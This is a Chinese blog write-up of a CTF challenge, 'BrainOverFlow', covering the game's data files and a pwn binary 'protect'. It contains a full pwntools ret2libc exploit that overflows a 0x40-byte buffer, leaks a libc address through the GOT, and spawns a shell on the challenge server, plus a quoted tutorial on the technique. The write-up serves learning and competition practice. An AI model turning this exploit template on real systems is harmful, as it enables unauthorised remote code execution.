BrainOverFlow_Vol.1_BUU特供

Posted by Mr.Be1ieVe on Thursday, January 30, 2020

很有意思(好玩)的游戏,感谢札哥的题

image-20200130195435399

btw,我也没想到我会是第六个解出来的hhhhh,我可以吹一个月(笑

剧情我就不说了,反正很有意思的

具体东西都藏在/www/data里边,每一次的地图数据(主要在Map013,15,22)都有,个人等级,姓名,武器售卖价值等都可以改hhhhh

亏我三小时打通游戏,做了半天pwn以为是盲打,然后发现了文件就在图片旁边orz

protect

image-20200130200100596

image-20200130195934944

image-20200130195944896

这图就是溢出点,buf空间只有0x40,但是却读入0xC8个,题目没有system和/bin/sh字段,就是ret2libc

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('./protect')
lib = 0
sh = 0
def pwn(ip,port,debug):
    global lib
    global sh
    if debug == 1:
        sh = process('./protect')
        lib = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    else:
        sh = remote(ip,port)
        lib = ELF('/home/mrbelieve/Desktop/PWN/buu/libc/64-libc-2.23.so')
    sh.recvuntil("options")
    sh.sendline("1")
    sh.recvuntil("Password.")
    pop_rdi = 0x0000000000400a43 # 通过ROPgadget获得
    payload = cyclic(0x40 + 8)
    payload += p64(pop_rdi)
    payload += p64(elf.got['__libc_start_main'])
    payload += p64(elf.plt['puts'])
    payload += p64(0x40094B)
    #pause()
    sh.sendline(payload)
    __libc_start_main = u64(sh.recvuntil("\x7f")[-6:].ljust(8,'\x00')) 
    libc = __libc_start_main - lib.symbols['__libc_start_main']
    system = libc + lib.symbols['system']
    binsh = libc + lib.search('/bin/sh\x00').next()
    log.success("libc: " + hex(libc))
    log.success("system: " + hex(system))
    log.success("binsh: " + hex(binsh))
    sh.recvuntil("options")
    sh.sendline("1")
    sh.recvuntil("Password.")
    payload = cyclic(0x40 + 8)
    payload += p64(pop_rdi)
    payload += p64(binsh)
    payload += p64(system)
    #pause()
    sh.sendline(payload)
    sh.interactive()
if __name__ ==  "__main__":
    pwn("123.206.21.178",10000,0)

https://wiki.x10sec.org/pwn/stackoverflow/basic_rop/#_9

那么我们如何得到 system 函数的地址呢?这里就主要利用了两个知识点

  • system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
  • 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的12位并不会发生改变。而 libc 在github上有人进行收集,如下
  • https://github.com/niklasb/libc-database

所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system函数的地址。

那么如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。

我们自然可以根据上面的步骤先得到 libc,之后在程序中查询偏移,然后再次获取 system 地址,但这样手工操作次数太多,有点麻烦,这里给出一个 libc 的利用工具,具体细节请参考 readme

此外,在得到 libc 之后,其实 libc 中也是有 /bin/sh 字符串的,所以我们可以一起获得 /bin/sh 字符串的地址。

这里我们泄露 __libc_start_main 的地址,这是因为它是程序最初被执行的地方。基本利用思路如下

  • 泄露 __libc_start_main 地址
  • 获取 libc 版本
  • 获取 system 地址与 /bin/sh 的地址
  • 再次执行源程序
  • 触发栈溢出执行 system(‘/bin/sh’)

「真诚赞赏,手留余香」

Mr.Be1ieVe's Treasure

真诚赞赏,手留余香

使用微信扫描二维码完成支付